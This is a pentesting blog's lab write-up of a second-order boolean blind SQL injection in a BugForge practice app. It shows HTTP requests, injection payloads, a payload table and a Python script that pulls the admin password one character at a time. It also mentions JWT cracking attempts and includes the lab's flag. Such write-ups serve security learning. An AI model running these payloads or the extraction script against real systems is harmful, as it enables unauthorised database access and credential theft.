b1gb33f_blog

Pentesting and AppSec

View on GitHub

Banner

Welcome to the blog! I’m Shawn, a former manager and blue collar worker now employed in the world of offensive security. I’m hoping to share some of my journey and what I’ve learned along the way. I’m currently focused on web app pentesting and application security but constantly learning other areas of pentesting as well.


Connect with me

Linktree


Most Recent Post

FurHire-007 - Second Order Boolean SQL Injection

April 13, 2026

Lab Info

  • Platform: BugForge
  • Lab: FurHire-007
  • Flag: bug{48CUep4W8QVbV2pSb5OEo2D9zl87mOkO}
  • Vulnerability: Second-Order Boolean Blind SQL Injection
  • Endpoint: PUT /api/applications/:id/status

Summary

The application status update endpoint accepted unsanitized input from the recruiter account. The injected SQL was executed server-side and the boolean result was reflected back via the applicant’s GET /api/my-applications response in the status field. This created an out-of-band exfiltration channel by viewing the application status as the posting recruiter or the applicant.

Accounts

Role Username Token
Recruiter test JWT (id:7)
Applicant test1 JWT (id:8)

Recon

  • No bot interaction in this lab variant — ruled out WebSocket XSS early
  • Active scan produced no reliable findings (noisy timing hits on /api/jobs?search, discarded)
  • JWT HS256 cracking attempted against rockyou.txt via jwt_tool and hashcat — no result
  • Mass assignment attempted on PUT /api/profile and PUT /api/company — server filtered extra fields silently
  • Missing auth control noted: applicant token accepted on PUT /api/company with 200 response but no effect

Vulnerability Discovery

Injecting a single quote into the status field returned a 500 database error:

PUT /api/applications/1/status HTTP/2
Host: lab-[...].labs-app.bugforge.io
Authorization: Bearer <recruiter_token>
Content-Type: application/json

{"status":"accepted'"}

Boolean payloads confirmed injectable and reflected in applicant status field:

{"status":"accepted' OR '1'='1"}  applicant sees status: "1"
{"status":"accepted' OR '1'='2"}  applicant sees status: "0"

Database Fingerprinting

SQLite confirmed via:

{"status":"accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1"}

Returns 1. information_schema errored confirming not MySQL/Postgres.

Exploitation

UNION-based injection errored across all column counts. Binary search via unicode() failed. Direct character comparison via substr() with full subquery wrapping worked:

{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,1))='b"}

Confirmed flag prefix manually:

{"status":"accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),1,4))='bug{"}

Admin user was discovered during registration enumeration so I went with it. Returns 1. Password matches our expected flag format.

Extraction Script

Two-session Python script using recruiter token to inject and applicant token to read the boolean result:

import requests
import time

host = "https://lab-[...].labs-app.bugforge.io"
recruiter_headers = {"Authorization": "Bearer <recruiter_token>", "Content-Type": "application/json"}
applicant_headers = {"Authorization": "Bearer <applicant_token>", "Content-Type": "application/json"}

charset = "bug{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def get_status():
    r = requests.get(f"{host}/api/my-applications", headers=applicant_headers)
    return r.json()[0]["status"]

def check(payload):
    requests.put(f"{host}/api/applications/1/status", json={"status": payload}, headers=recruiter_headers)
    time.sleep(0.5)
    return get_status() == "1"

def get_char(query, pos):
    for c in charset:
        payload = f"accepted' OR (SELECT substr(({query}),{pos},1))='{c}"
        if check(payload):
            return c
    return None

def extract(query, max_len=300):
    result = ""
    for i in range(1, max_len):
        c = get_char(query, i)
        if c is None:
            break
        result += c
        print(f"[+] pos {i}: {c} => {result}")
    return result

password = extract("SELECT password FROM users WHERE username='admin'")
print(f"\n[+] Flag: {password}")

Key Payloads

Purpose Payload
Error trigger accepted'
Boolean true accepted' OR '1'='1
Boolean false accepted' OR '1'='2
SQLite fingerprint accepted' OR (SELECT 1 FROM sqlite_master LIMIT 1)='1
Char extraction accepted' OR (SELECT substr((SELECT password FROM users WHERE username='admin'),{i},1))='{c}

Why Second-Order

The injection was submitted via the recruiter’s status update endpoint but the boolean result was reflected in the application status field, visible both in the applicant’s GET /api/my-applications response and the recruiter’s own applicant dashboard. sqlmap failed because it could not correlate the injected request with the reflected result in a subsequent GET response. Manual exploitation was used with a two-session Python script, though a single recruiter session would also have worked by polling the applicant dashboard after each injection.